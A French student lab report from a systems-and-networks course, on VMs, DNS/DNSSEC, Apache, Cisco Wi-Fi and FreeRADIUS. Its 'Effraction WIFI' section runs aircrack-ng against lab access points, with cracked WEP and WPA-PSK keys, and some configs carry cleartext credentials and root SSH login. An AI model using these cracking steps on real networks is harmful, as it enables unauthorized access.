« Atelier SysRes SE4 2025/2026 E6 » : différence entre les versions
Aucun résumé des modifications |
Aucun résumé des modifications |
||
| Ligne 2 : | Ligne 2 : | ||
==== Création du bridge dans capbreton ==== | ==== Création du bridge dans capbreton ==== | ||
Avant de créer nos | Avant de créer nos machines virtuelles, nous ajoutons notre bridge à capbreton dans '''SE42026_cpayet_tdelobel''' :<syntaxhighlight lang="bash"> | ||
auto pont_pacman | auto pont_pacman | ||
iface pont_pacman inet manual | iface pont_pacman inet manual | ||
| Ligne 8 : | Ligne 8 : | ||
up ip link set $IFACE up | up ip link set $IFACE up | ||
down ip link set $IFACE down | down ip link set $IFACE down | ||
</syntaxhighlight> | </syntaxhighlight>Nous utilisons '''ifup''' pour le démarrer. | ||
==== Création des VMs ==== | ==== Création des VMs ==== | ||
Pour créer la | Pour créer la machine virtuelle de service et la machine mandataire, nous utilisons les commandes suivantes :<syntaxhighlight lang="bash"> | ||
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force | xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force | ||
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force | xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Puis <syntaxhighlight lang="bash"> | * '''Manjaro''' sera la machine de service. | ||
* '''LinusTorvalds''' sera la machine mandataire. | |||
Puis, nous démarrons les machines avec : <syntaxhighlight lang="bash"> | |||
xen create /etc/xen/SE4.Manjaro.cfg | xen create /etc/xen/SE4.Manjaro.cfg | ||
xen create /etc/xen/SE4.LinusTorvalds.cfg | xen create /etc/xen/SE4.LinusTorvalds.cfg | ||
| Ligne 25 : | Ligne 28 : | ||
===== Sur capbreton ===== | ===== Sur capbreton ===== | ||
Tout d'abord | Tout d'abord, nous allouons 10 Go d'espace pour /var et /home à notre machine virtuelle :<syntaxhighlight lang="bash"> | ||
lvcreate -n SE4.Manjaro.var -L 10G virtual | lvcreate -n SE4.Manjaro.var -L 10G virtual | ||
</syntaxhighlight> | </syntaxhighlight>Nous ajoutons dans '''/etc/xen/SE4.Manjaro.cfg''' : <syntaxhighlight lang="cfg"> | ||
disk = [ | disk = [ | ||
[...], | [...], | ||
| Ligne 37 : | Ligne 40 : | ||
===== Sur la VM ===== | ===== Sur la VM ===== | ||
Pour que la configuration soit enregistrée, nous modifions le fichier '''/etc/fstab''' en ajoutant les lignes suivantes :<syntaxhighlight lang="bash"> | |||
/dev/xvda3 /var ext4 defaults 0 2 | /dev/xvda3 /var ext4 defaults 0 2 | ||
/dev/xvdb1 /home ext4 defaults 0 2 | /dev/xvdb1 /home ext4 defaults 0 2 | ||
</syntaxhighlight>Puis dans le terminal | </syntaxhighlight>Puis, dans le terminal (à ne surtout pas utiliser sur capbreton !), nous exécutons :<syntaxhighlight lang="bash"> | ||
mkfs -t ext4 /dev/xvda3 | mkfs -t ext4 /dev/xvda3 | ||
mkfs -t ext4 /dev/xvdb1 | mkfs -t ext4 /dev/xvdb1 | ||
| Ligne 47 : | Ligne 50 : | ||
umount /mnt | umount /mnt | ||
mount -a | mount -a | ||
</syntaxhighlight> | </syntaxhighlight>Nous pouvons maintenant redémarrer la machine pour vérifier si la configuration persiste. Nous répétons le même schéma pour la machine mandataire. | ||
==== Adresses | ==== '''Adresses IPv4 et IPv6''' ==== | ||
Tout d'abord dans notre machine | Tout d'abord, dans notre machine de service, nous attribuons une adresse IPv4 privé et une adresse IPv6. Nous modifions donc le fichier '''/etc/network/interfaces''' :<syntaxhighlight lang="bash"> | ||
auto lo | auto lo | ||
iface lo inet loopback | iface lo inet loopback | ||
| Ligne 63 : | Ligne 64 : | ||
auto eth1 | auto eth1 | ||
iface eth1 inet6 auto | iface eth1 inet6 auto | ||
</syntaxhighlight> | </syntaxhighlight>Nous ajoutons également le bridge depuis capbreton dans '''/etc/xen/SE4.Manjaro.cfg''' :<syntaxhighlight lang="cfg"> | ||
vif = [[...], 'mac=00:16:3E:36:79:D9,bridge=SE4'] | vif = [[...], 'mac=00:16:3E:36:79:D9,bridge=SE4'] | ||
</syntaxhighlight> | </syntaxhighlight>Dans la machine mandataire, nous attribuons une adresse IPv4 du réseau local et privé :<syntaxhighlight lang="bash"> | ||
auto lo | auto lo | ||
iface lo inet loopback | iface lo inet loopback | ||
| Ligne 78 : | Ligne 79 : | ||
gateway 193.48.57.162 | gateway 193.48.57.162 | ||
iface eth1 inet6 auto | iface eth1 inet6 auto | ||
</syntaxhighlight> | </syntaxhighlight>Nous ajoutons au fichier '''resolv.conf''' le DNS de Google et installons les outils nécessaires pour la suite (iptables-persistent, ssh, bind9, apache2, etc.). | ||
==== Masquerade et | ==== '''Masquerade et SSH''' ==== | ||
Nous | Nous mettons en place les règles '''iptables''' pour gérer à la fois le SSH (redirection de port) et le masquerading avec les commandes suivantes :<syntaxhighlight lang="bash"> | ||
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22 | iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22 | ||
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24 | iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24 | ||
</syntaxhighlight>Après avoir | </syntaxhighlight>Après avoir sauvegardé avec '''iptables-save''', nous décommentons dans '''/etc/sysctl.conf''' :<syntaxhighlight lang="bash"> | ||
net.ipv4.ip_forward=1 | net.ipv4.ip_forward=1 | ||
</syntaxhighlight>Enfin pour permettre | </syntaxhighlight>Enfin, pour permettre la connexion SSH en tant que root sur toutes les machines virtuelles, nous ajoutons dans '''/etc/ssh/sshd_config''' :<syntaxhighlight lang="bash"> | ||
PermitRootLogin yes | PermitRootLogin yes | ||
</syntaxhighlight> | </syntaxhighlight>Il n'est plus obligatoire de passer par capbreton pour se connecter aux machines virtuelles. Nous utiliserons les commandes suivantes :<syntaxhighlight lang="bash"> | ||
ssh root@193.48.57.166 #pour la machine mandataire | ssh root@193.48.57.166 #pour la machine mandataire | ||
ssh root@193.48.57.166 -p 2202 # pour la machine de service | ssh root@193.48.57.166 -p 2202 # pour la machine de service | ||
| Ligne 97 : | Ligne 98 : | ||
===== Machine de service ===== | ===== Machine de service ===== | ||
Nous commençons par modifier '''/etc/bind/named.conf.local''' et y ajoutons notre zone principale et celle de notre camarade :<syntaxhighlight lang="bash"> | |||
zone "archlinux.lol" { | zone "archlinux.lol" { | ||
type master; | type master; | ||
| Ligne 123 : | Ligne 124 : | ||
}; | }; | ||
</syntaxhighlight>Puis | </syntaxhighlight>Puis, nous créons notre zone '''db.archlinux.lol''' :<syntaxhighlight lang="bash"> | ||
$TTL 400 | $TTL 400 | ||
| Ligne 146 : | Ligne 147 : | ||
===== Machine mandataire ===== | ===== Machine mandataire ===== | ||
Dans la machine mandataire, | Dans la machine mandataire, nous passons les zones de notre machine de service en zones secondaires :<syntaxhighlight lang="bash"> | ||
zone "archlinuxbtw.lol" { | zone "archlinuxbtw.lol" { | ||
type secondary; | type secondary; | ||
| Ligne 162 : | Ligne 163 : | ||
2001:660:4401:60a0:216:3eff:fe36:79d9; | 2001:660:4401:60a0:216:3eff:fe36:79d9; | ||
}; | }; | ||
</syntaxhighlight>Enfin, | </syntaxhighlight>Enfin, nous ajoutons nos zones aux '''Glue records''' de Gandi pour que notre DNS soit reconnu partout dans le monde. Nous pouvons vérifier cela sur le site https://dnschecker.org/.[[Fichier:Dns-check-thomas.png|centré|vignette]] | ||
[[Fichier:Dns-check-thomas.png|centré|vignette]] | |||
==== DNSSEC ==== | ==== DNSSEC ==== | ||
Pour sécuriser notre DNS, nous modifions '''/etc/bind/named.conf.local''' :<syntaxhighlight lang="bash"> | |||
zone "archlinux.lol" { | zone "archlinux.lol" { | ||
type master; | type master; | ||
| Ligne 204 : | Ligne 202 : | ||
nsec3param; | nsec3param; | ||
}; | }; | ||
</syntaxhighlight> | </syntaxhighlight>Nous ajoutons un répertoire pour les clés (auquel nous donnons les permissions d'écriture) :<syntaxhighlight lang="bash"> | ||
mkdir /etc/bind/keys | mkdir /etc/bind/keys | ||
chown bind:bind /etc/bind/keys | chown bind:bind /etc/bind/keys | ||
chmod 750 /etc/bind/keys | chmod 750 /etc/bind/keys | ||
</syntaxhighlight>Après avoir | </syntaxhighlight>Après avoir redémarré '''bind9''' et '''named''', nous pouvons constater que les clés sont bien générées. Pour vérifier si notre DNS est sécurisé, nous utilisons <nowiki>https://dnsviz.net/</nowiki>. | ||
[[Fichier:DNSSEC-thomas.png|centré|vignette]] | [[Fichier:DNSSEC-thomas.png|centré|vignette]] | ||
==== | ==== '''Serveur Apache''' ==== | ||
===== Sur la machine de service ===== | ===== Sur la machine de service ===== | ||
Nous générons d'abord notre clé avec :<syntaxhighlight lang="bash"> | |||
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr | openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr | ||
</syntaxhighlight>Une fois la clé | </syntaxhighlight>Une fois la clé générée, nous récupérons le certificat sur Gandi. Nous créons ensuite notre site dans '''/etc/apache2/sites-available/archlinux.lol.conf''' : | ||
La page html sera enregistré dans '''/var/www/archlinux.lol'''. | |||
Nous effectuons aussi une redirection du port HTTP vers HTTPS.<syntaxhighlight lang="bash"> | |||
<VirtualHost *:80> | <VirtualHost *:80> | ||
ServerName archlinux.lol | ServerName archlinux.lol | ||
| Ligne 257 : | Ligne 253 : | ||
</VirtualHost> | </VirtualHost> | ||
</syntaxhighlight>Notre site est maintenant accessible en | </syntaxhighlight>Notre site est maintenant accessible en IPv6. Nous configurons ensuite la machine mandataire pour qu'il le soit aussi en IPv4. | ||
===== Sur la machine de mandataire ===== | ===== Sur la machine de mandataire ===== | ||
Après avoir récupéré les clés et certificats, nous créons un fichier '''/etc/apache2/sites-available/archlinux.lol-proxy.conf''' :<syntaxhighlight lang="bash"> | |||
<VirtualHost *:80> | <VirtualHost *:80> | ||
ServerName archlinux.lol | ServerName archlinux.lol | ||
| Ligne 285 : | Ligne 281 : | ||
CustomLog ${APACHE_LOG_DIR}/access.log combined | CustomLog ${APACHE_LOG_DIR}/access.log combined | ||
</VirtualHost> | </VirtualHost> | ||
</syntaxhighlight>Notre site est maintenant disponible partout et en | </syntaxhighlight>Notre site est maintenant disponible partout et en HTTPS. | ||
[[Fichier:Site-thomas.png|centré|vignette]] | [[Fichier:Site-thomas.png|centré|vignette]] | ||
| Ligne 293 : | Ligne 289 : | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
sudo airodump-ng wlan1 | sudo airodump-ng wlan1 | ||
</syntaxhighlight> | </syntaxhighlight>Nous trouvons '''cracotte06''' avec son adresse et son canal :<syntaxhighlight lang="bash"> | ||
sudo airodump-ng wlan1 --write dump --bssid 04:DA:D2:9C:50:55 -c4 | sudo airodump-ng wlan1 --write dump --bssid 04:DA:D2:9C:50:55 -c4 | ||
</syntaxhighlight>Le fichier dump étant | </syntaxhighlight>Le fichier '''dump''' étant créé, nous récupérons la clé avec :<syntaxhighlight lang="bash"> | ||
sudo aircrack-ng -b 04:DA:D2:9C:50:55 dump-22.cap | sudo aircrack-ng -b 04:DA:D2:9C:50:55 dump-22.cap | ||
</syntaxhighlight><syntaxhighlight lang="bash"> | </syntaxhighlight>Résultat :<syntaxhighlight lang="bash"> | ||
Aircrack-ng 1.7 | Aircrack-ng 1.7 | ||
| Ligne 316 : | Ligne 312 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===== Cassage WPA- | ===== '''Cassage WPA-PSK''' ===== | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
sudo airodump-ng wlan1 --write dump --bssid 44:AD:D9:5F:87:05 -c13 | sudo airodump-ng wlan1 --write dump --bssid 44:AD:D9:5F:87:05 -c13 | ||
</syntaxhighlight> | </syntaxhighlight>Nous essayons de récupérer la clé avec un dictionnaire '''dico.txt :'''<syntaxhighlight lang="bash"> | ||
sudo aircrack-ng -a2 -w dico.txt -b 44:AD:D9:5F:87:05 dump-23.cap | sudo aircrack-ng -a2 -w dico.txt -b 44:AD:D9:5F:87:05 dump-23.cap | ||
</syntaxhighlight><syntaxhighlight lang="bash"> | </syntaxhighlight>Résultat :<syntaxhighlight lang="bash"> | ||
Aircrack-ng 1.7 | Aircrack-ng 1.7 | ||
| Ligne 344 : | Ligne 340 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Sécurisation | ==== '''Sécurisation Wi-Fi''' ==== | ||
===== | ===== '''Configuration du routeur''' ===== | ||
Nous configurons notre interface, son VRRP et le DHCP :<syntaxhighlight> | |||
ip dhcp pool PoolThomas | ip dhcp pool PoolThomas | ||
network 10.60.6.0 255.255.255.0 | network 10.60.6.0 255.255.255.0 | ||
| Ligne 368 : | Ligne 364 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===== Configuration bornes | ===== '''Configuration des bornes Wi-Fi''' ===== | ||
Sur les bornes | Sur les bornes Wi-Fi, nous appliquons la configuration donnée par le sujet :<syntaxhighlight> | ||
conf t | conf t | ||
| Ligne 406 : | Ligne 402 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
===== | ===== '''FreeRADIUS''' ===== | ||
FreeRADIUS a été installé sur la machine de service. Malgré plusieurs tentatives, je n'ai pas réussi à le faire fonctionner. Dans '''/etc/freeradius/3.0/clients.conf''', j'ai ajouté :<syntaxhighlight> | |||
Dans /etc/freeradius/3.0/clients.conf , j'ai | |||
client wifi-ap-306 { | client wifi-ap-306 { | ||
ipaddr = 172.27.0.3 | ipaddr = 172.27.0.3 | ||
| Ligne 416 : | Ligne 410 : | ||
nas_type = cisco | nas_type = cisco | ||
} | } | ||
</syntaxhighlight>Dans /etc/freeradius/3.0/users :<syntaxhighlight> | </syntaxhighlight>Dans '''/etc/freeradius/3.0/users''' :<syntaxhighlight> | ||
"tdelobel" Cleartext-Password := "Seconddegree2" | "tdelobel" Cleartext-Password := "Seconddegree2" | ||
Tunnel-Type = VLAN, | Tunnel-Type = VLAN, | ||
Tunnel-Medium-Type = IEEE-802, | Tunnel-Medium-Type = IEEE-802, | ||
Tunnel-Private-Group-Id = 16 | Tunnel-Private-Group-Id = 16 | ||
</syntaxhighlight>Enfin, dans /etc/freeradius/3.0/mods-available/eap | </syntaxhighlight>Enfin, dans '''/etc/freeradius/3.0/mods-available/eap''', j'ai modifié la ligne suivante : <syntaxhighlight lang="bash"> | ||
default_eap_type = peap | default_eap_type = peap | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Version du 27 février 2026 à 17:31
Compte rendu :
Création du bridge dans capbreton
Avant de créer nos machines virtuelles, nous ajoutons notre bridge à capbreton dans SE42026_cpayet_tdelobel :
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
Nous utilisons ifup pour le démarrer.
Création des VMs
Pour créer la machine virtuelle de service et la machine mandataire, nous utilisons les commandes suivantes :
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
- Manjaro sera la machine de service.
- LinusTorvalds sera la machine mandataire.
Puis, nous démarrons les machines avec :
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
Nos machines sont maintenant listées.
Partitionnement
Sur capbreton
Tout d'abord, nous allouons 10 Go d'espace pour /var et /home à notre machine virtuelle :
lvcreate -n SE4.Manjaro.var -L 10G virtual
Nous ajoutons dans /etc/xen/SE4.Manjaro.cfg :
disk = [
[...],
'phy:/dev/virtual/SE4.Manjaro.home,xvda3,w',
'phy:/dev/virtual/SE4.Manjaro.var,xvdb1,w'
]
Sur la VM
Pour que la configuration soit enregistrée, nous modifions le fichier /etc/fstab en ajoutant les lignes suivantes :
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
Puis, dans le terminal (à ne surtout pas utiliser sur capbreton !), nous exécutons :
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
mount -a
Nous pouvons maintenant redémarrer la machine pour vérifier si la configuration persiste. Nous répétons le même schéma pour la machine mandataire.
Adresses IPv4 et IPv6
Tout d'abord, dans notre machine de service, nous attribuons une adresse IPv4 privé et une adresse IPv6. Nous modifions donc le fichier /etc/network/interfaces :
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.10.2/24
gateway 192.168.10.1
auto eth1
iface eth1 inet6 auto
Nous ajoutons également le bridge depuis capbreton dans /etc/xen/SE4.Manjaro.cfg :
vif = [[...], 'mac=00:16:3E:36:79:D9,bridge=SE4']
Dans la machine mandataire, nous attribuons une adresse IPv4 du réseau local et privé :
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.10.1/24
auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
Nous ajoutons au fichier resolv.conf le DNS de Google et installons les outils nécessaires pour la suite (iptables-persistent, ssh, bind9, apache2, etc.).
Masquerade et SSH
Nous mettons en place les règles iptables pour gérer à la fois le SSH (redirection de port) et le masquerading avec les commandes suivantes :
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
Après avoir sauvegardé avec iptables-save, nous décommentons dans /etc/sysctl.conf :
net.ipv4.ip_forward=1
Enfin, pour permettre la connexion SSH en tant que root sur toutes les machines virtuelles, nous ajoutons dans /etc/ssh/sshd_config :
PermitRootLogin yes
Il n'est plus obligatoire de passer par capbreton pour se connecter aux machines virtuelles. Nous utiliserons les commandes suivantes :
ssh root@193.48.57.166 #pour la machine mandataire
ssh root@193.48.57.166 -p 2202 # pour la machine de service
DNS
Machine de service
Nous commençons par modifier /etc/bind/named.conf.local et y ajoutons notre zone principale et celle de notre camarade :
zone "archlinux.lol" {
type master;
file "/etc/bind/zones/db.archlinux.lol";
allow-transfer{secondaries;};
also-notify{hiddensecondaries;};
notify yes;
};
acl "secondaries" {
192.168.10.3;
2001:660:4401:60a0:216:3eff:fe8b:45ed;
192.168.10.1;
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
Puis, nous créons notre zone db.archlinux.lol :
$TTL 400
@ IN SOA ns.archlinux.lol. admin.archlinux.lol. (
3611 ; Numéro de version
21600 ; Rafraîchissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache négatif (24h)
);
@ IN NS ns.archlinux.lol.
@ IN NS ns.archlinuxbtw.lol.
ns IN A 193.48.57.166
@ IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9
www IN CNAME archlinux.lol.
Machine mandataire
Dans la machine mandataire, nous passons les zones de notre machine de service en zones secondaires :
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};
acl "secondaries" {
2001:660:4401:60a0:216:3eff:fe8b:45ed;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};
Enfin, nous ajoutons nos zones aux Glue records de Gandi pour que notre DNS soit reconnu partout dans le monde. Nous pouvons vérifier cela sur le site https://dnschecker.org/.
DNSSEC
Pour sécuriser notre DNS, nous modifions /etc/bind/named.conf.local :
zone "archlinux.lol" {
type master;
file "/etc/bind/zones/db.archlinux.lol";
allow-transfer{secondaries;};
also-notify{hiddensecondaries;};
notify yes;
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
};
acl "secondaries" {
192.168.10.3;
2001:660:4401:60a0:216:3eff:fe8b:45ed;
192.168.10.1;
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
Nous ajoutons un répertoire pour les clés (auquel nous donnons les permissions d'écriture) :
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
Après avoir redémarré bind9 et named, nous pouvons constater que les clés sont bien générées. Pour vérifier si notre DNS est sécurisé, nous utilisons https://dnsviz.net/.
Serveur Apache
Sur la machine de service
Nous générons d'abord notre clé avec :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr
Une fois la clé générée, nous récupérons le certificat sur Gandi. Nous créons ensuite notre site dans /etc/apache2/sites-available/archlinux.lol.conf :
La page html sera enregistré dans /var/www/archlinux.lol.
Nous effectuons aussi une redirection du port HTTP vers HTTPS.
<VirtualHost *:80>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
Redirect permanent / https://archlinux.lol/
</VirtualHost>
<VirtualHost *:443>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
DocumentRoot /var/www/archlinux.lol
<Directory /var/www/archlinux.lol>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt
SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
</VirtualHost>
Notre site est maintenant accessible en IPv6. Nous configurons ensuite la machine mandataire pour qu'il le soit aussi en IPv4.
Sur la machine de mandataire
Après avoir récupéré les clés et certificats, nous créons un fichier /etc/apache2/sites-available/archlinux.lol-proxy.conf :
<VirtualHost *:80>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
Redirect permanent / https://archlinux.lol/
</VirtualHost>
<VirtualHost *:443>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
SSLProxyEngine on
ProxyPass / https://archlinux.lol/
ProxyPassReverse / https://archlinux.lol/
ProxyPreserveHost on
SSLEngine on
SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt
SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Notre site est maintenant disponible partout et en HTTPS.
Effraction WIFI
Cassage WEP
sudo airodump-ng wlan1
Nous trouvons cracotte06 avec son adresse et son canal :
sudo airodump-ng wlan1 --write dump --bssid 04:DA:D2:9C:50:55 -c4
Le fichier dump étant créé, nous récupérons la clé avec :
sudo aircrack-ng -b 04:DA:D2:9C:50:55 dump-22.cap
Résultat :
Aircrack-ng 1.7
[00:00:00] Tested 525 keys (got 63977 IVs)
KB depth byte(vote)
0 1/ 2 20(74752) 5B(73216) F0(73216) 1E(72704) 77(72192) 12(71936) 78(71936) ED(71936) 21(71680) EF(71680) 58(71424) AE(71424) 4D(71168) 5A(70656) 02(70400)
1 5/ 1 48(74496) DA(71936) 47(71680) 55(71680) B9(71168) BD(70656) DE(70656) 01(70400) 77(70400) A2(70400) 6C(70144) 74(70144) 7C(70144) 8E(70144) 92(70144)
2 73/ 2 CE(66560) CC(66304) E2(66304) DD(66048) ED(66048) 69(65536) 97(65536) A7(65536) AC(65536) B8(65536) 44(65280) 72(65280) D7(65280) EA(65280) F4(65280)
3 7/ 11 5C(73984) 14(72960) 6E(72960) E8(72448) 00(71424) EB(71424) 04(71168) 23(70912) 35(70912) AB(70912) 58(70656) 1B(70400) CA(70400) D4(70400) FE(70400)
4 0/ 3 F6(92416) 2D(73472) 30(72704) 6A(71680) 9D(71680) BD(71680) C9(71680) 2B(71168) 3D(70400) 52(70400) C8(70400) D8(70400) 49(70144) F8(70144) FE(69632)
KEY FOUND! [ FF:FF:FF:FF:FA:BC:07:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%
Cassage WPA-PSK
sudo airodump-ng wlan1 --write dump --bssid 44:AD:D9:5F:87:05 -c13
Nous essayons de récupérer la clé avec un dictionnaire dico.txt :
sudo aircrack-ng -a2 -w dico.txt -b 44:AD:D9:5F:87:05 dump-23.cap
Résultat :
Aircrack-ng 1.7
[00:28:29] 66973408/100000000 keys tested (39839.22 k/s)
Time left: 13 minutes, 48 seconds 66.97%
KEY FOUND! [ 66684666 ]
Master Key : 63 5F 7F 36 2C 70 49 04 6A 29 11 FE C8 C1 0C FD
4D 16 18 BE C9 48 70 31 C5 7B 13 BD E1 02 8A 15
Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sécurisation Wi-Fi
Configuration du routeur
Nous configurons notre interface, son VRRP et le DHCP :
ip dhcp pool PoolThomas
network 10.60.6.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.6.254
!
...
vlan 16
name E6-Thomas
!
...
interface Vlan16
ip address 10.60.6.2 255.255.255.0
ipv6 address 2001:660:4401:60A6::2/64
vrrp 16 address-family ipv4
priority 110
address 10.60.6.1 primary
exit-vrrp
!Configuration des bornes Wi-Fi
Sur les bornes Wi-Fi, nous appliquons la configuration donnée par le sujet :
conf t
aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.2 auth-port 1812 acct-port 1813 key secret_student6
aaa group server radius radius_student5
server 192.168.10.2 auth-port 1812 acct-port 1813
exit
dot11 ssid VM_SERVICES_6
vlan 16
authentication open eap eap_student6
authentication network-eap eap_student6
authentication key-management wpa
mbssid guest-mode
exit
interface Dot11Radio0
encryption vlan 16 mode ciphers aes-ccm
exit
interface Dot11Radio0.16
encapsulation dot1Q 16
bridge-group 16
exit
interface GigabitEthernet0.16
encapsulation dot1Q 16
bridge-group 16
exit
interface Dot11Radio0
ssid VM_SERVICES_6
exitFreeRADIUS
FreeRADIUS a été installé sur la machine de service. Malgré plusieurs tentatives, je n'ai pas réussi à le faire fonctionner. Dans /etc/freeradius/3.0/clients.conf, j'ai ajouté :
client wifi-ap-306 {
ipaddr = 172.27.0.3
secret = radius_thomas
shortname = wifi-e306
nas_type = cisco
}Dans /etc/freeradius/3.0/users :
"tdelobel" Cleartext-Password := "Seconddegree2"
Tunnel-Type = VLAN,
Tunnel-Medium-Type = IEEE-802,
Tunnel-Private-Group-Id = 16Enfin, dans /etc/freeradius/3.0/mods-available/eap, j'ai modifié la ligne suivante :
default_eap_type = peap